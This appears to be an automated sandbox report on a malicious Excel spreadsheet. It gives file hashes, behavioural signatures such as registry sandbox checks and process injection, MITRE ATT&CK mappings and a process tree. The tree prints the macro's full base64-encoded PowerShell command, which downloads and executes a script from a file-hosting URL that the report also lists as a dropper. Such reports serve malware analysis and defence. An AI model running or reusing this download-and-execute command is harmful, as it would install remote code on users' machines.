0018a2c244df7b137283524bc580239b10475ec4f60ce232f6fd2449832498db

General

Target

0018a2c244df7b137283524bc580239b10475ec4f60ce232f6fd2449832498db.xls
Size

34KB
MD5

1a728c2b3c673aed61981cb039c5006f
SHA1

fbf6dd8c3b24ca278ee76dc9f54d4c37b28609f0
SHA256

0018a2c244df7b137283524bc580239b10475ec4f60ce232f6fd2449832498db
SHA512

35a93e3e52d2eaefd4baf12dbe54cc33b2f3b25044c6f3b7b11e0ccb883c975b1e0b01ef331f89cd9d2c2da9f15c4337d7301e5c40985a37e696560881499c06
SSDEEP

384:18LDjTPAA6ymev82NsdHLneAjf7OrN6/WgZduE:cDjLR6dev82NsdHLpf76NYW

Score

10^/10

macro macro_on_action

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://tmpfiles.org/dl/10333590/exploit.jpg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4840	1352	powershell.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	4840	powershell.exe

Office macro that triggers on suspicious action 1 IoCs

Office document macro which triggers in special circumstances - often malicious.

macro macro_on_action

resource	yara_rule
behavioral2/files/0x000c00000002348c-74.dat	office_macro_on_action

Deletes itself 1 IoCs

pid	Process
1352	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\B5C75E00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1352	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1352	EXCEL.EXE
1352	EXCEL.EXE

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE
1352	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 4840	1352	EXCEL.EXE	88
PID 1352 wrote to memory of 4840	1352	EXCEL.EXE	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0018a2c244df7b137283524bc580239b10475ec4f60ce232f6fd2449832498db.xls"
1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAAzADMAMwA1ADkAMAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\0018a2c244df7b137283524bc580239b10475ec4f60ce232f6fd2449832498db.xls

Filesize
71KB

MD5
0943701a82ec41726cde7637af0ba56a

SHA1
afb2352ea3522ddcc311e6ccf3fa2081f1638010

SHA256
2b87a5f76380888f5cb5d04e71827a46cbab81dd4a19c172de2d5d657db29b99

SHA512
470cc5eaeb51055e924402cd7805846f97407fe7e2af100f6cc43ce0b2f9fc3ef255abfe10b74fb9a5cd607e4b453f23f9c7b24670d7750e170241feb8af9d02

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rbl0or0v.crv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1352-16-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-4-0x00007FFD77A30000-0x00007FFD77A40000-memory.dmp

Filesize
64KB

Download
memory/1352-20-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-19-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-9-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-10-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-7-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-6-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-8-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-11-0x00007FFD752B0000-0x00007FFD752C0000-memory.dmp

Filesize
64KB

Download
memory/1352-12-0x00007FFD752B0000-0x00007FFD752C0000-memory.dmp

Filesize
64KB

Download
memory/1352-14-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-80-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-3-0x00007FFD77A30000-0x00007FFD77A40000-memory.dmp

Filesize
64KB

Download
memory/1352-5-0x00007FFDB7A4D000-0x00007FFDB7A4E000-memory.dmp

Filesize
4KB

Download
memory/1352-18-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-17-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-15-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-13-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-53-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-54-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/1352-1-0x00007FFD77A30000-0x00007FFD77A40000-memory.dmp

Filesize
64KB

Download
memory/1352-0-0x00007FFD77A30000-0x00007FFD77A40000-memory.dmp

Filesize
64KB

Download
memory/1352-2-0x00007FFD77A30000-0x00007FFD77A40000-memory.dmp

Filesize
64KB

Download
memory/1352-77-0x00007FFDB79B0000-0x00007FFDB7BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4840-65-0x00000234DCD30000-0x00000234DCD52000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads